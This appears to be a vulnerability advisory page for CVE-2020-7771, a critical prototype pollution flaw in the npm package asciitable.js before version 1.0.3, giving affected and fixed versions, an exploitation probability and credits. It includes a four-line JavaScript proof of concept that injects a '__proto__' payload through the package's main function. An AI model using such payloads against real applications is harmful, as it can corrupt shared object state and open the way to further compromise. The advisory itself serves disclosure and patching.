All reports
Critical

Prototype Pollution in asciitable.js

Affected versions

Affected versions
< 1.0.3
Fixed version
1.0.3

Exploitation

CVE-2020-7771

Probability of exploitation in the next 30 days: 1.96%

FIRST EPSS · 2026-11-24

Description

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC
var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

Links

Credits

  • tdunlap607